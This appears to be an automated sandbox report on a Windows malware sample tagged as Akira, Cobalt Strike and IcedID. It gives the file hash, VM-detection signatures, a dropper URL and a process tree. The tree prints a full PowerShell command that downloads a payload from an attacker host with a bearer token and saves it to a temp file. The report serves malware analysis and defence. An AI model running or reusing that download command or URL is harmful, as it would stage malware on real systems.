Analysis
- max time kernel
148s - max time network
120s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
10/11/2026, 19:20
General
- Target 2026-11-09_55ad184e9ac5627ceb0f9b792fa386a1_akira_cobalt-strike_icedid_rusty-stealer.exe
- Size 523KB
- Sample261110-x2kawsac76
- SHA256 48a2a98eda3b081c1872de8b6cc6e38bf8466857fa187433ab5811e5407ad944
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://gh0.oopz.pro/b/6ed2231cbfa9
Signatures
- Custom signatureDetects executables referencing many IR and analysis tools 5 IoCs
- Enumerates VirtualBox registry keys 2 TTPs 3 IoCs
- Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Looks for VMWare Tools registry key 2 TTPs 1 IoCs
- Looks for VMWare services registry key. 1 TTPs 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-11-09_55ad184e9ac5627ceb0f9b792fa386a1_akira_cobalt-strike_icedid_rusty-stealer.exe"C:\Users\Admin\AppData\Local\Temp\2026-11-09_55ad184e9ac5627ceb0f9b792fa386a1_akira_cobalt-strike_icedid_rusty-stealer.exe"1⤵
- Enumerates VirtualBox registry keys
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Looks for VMWare services registry key.
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -NonInteractive -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol='Tls12';$wc=New-Object Net.WebClient;$wc.Headers.Add('Authorization','Bearer 649f3de8777849eb969b5c324840f98d616e770209fe88aaa6386f9efa33c07d');$b=$wc.DownloadData('https://gh0.oopz.pro/b/6ed2231cbfa9');[IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\~4328.tmp', $b)"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
~4328.tmp
memory/2792-15-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp
memory/2792-12-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp
memory/2792-6-0x000001670DA30000-0x000001670DA52000-memory.dmp
memory/2792-7-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp
memory/2792-8-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp
memory/2792-10-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp
memory/2792-11-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp
memory/2792-16-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp
memory/2792-1-0x00007FFA3124F000-0x00007FFA31250000-memory.dmp
memory/2792-14-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp
memory/2792-3-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp
memory/2792-13-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp
memory/2792-9-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp
memory/2792-17-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp
memory/2792-20-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp
memory/2792-21-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp
memory/2792-2-0x00007FFA310C0000-0x00007FFA31A64000-memory.dmp
memory/4328-23-0x0000000140000000-0x00000001400B7000-memory.dmp
memory/4328-32-0x0000000140000000-0x00000001400B7000-memory.dmp
memory/4328-30-0x0000000140000000-0x00000001400B7000-memory.dmp
memory/4328-33-0x00007FFA51D65000-0x00007FFA51D66000-memory.dmp
memory/4328-31-0x0000000140000000-0x00000001400B7000-memory.dmp
memory/4328-29-0x0000000140000000-0x00000001400B7000-memory.dmp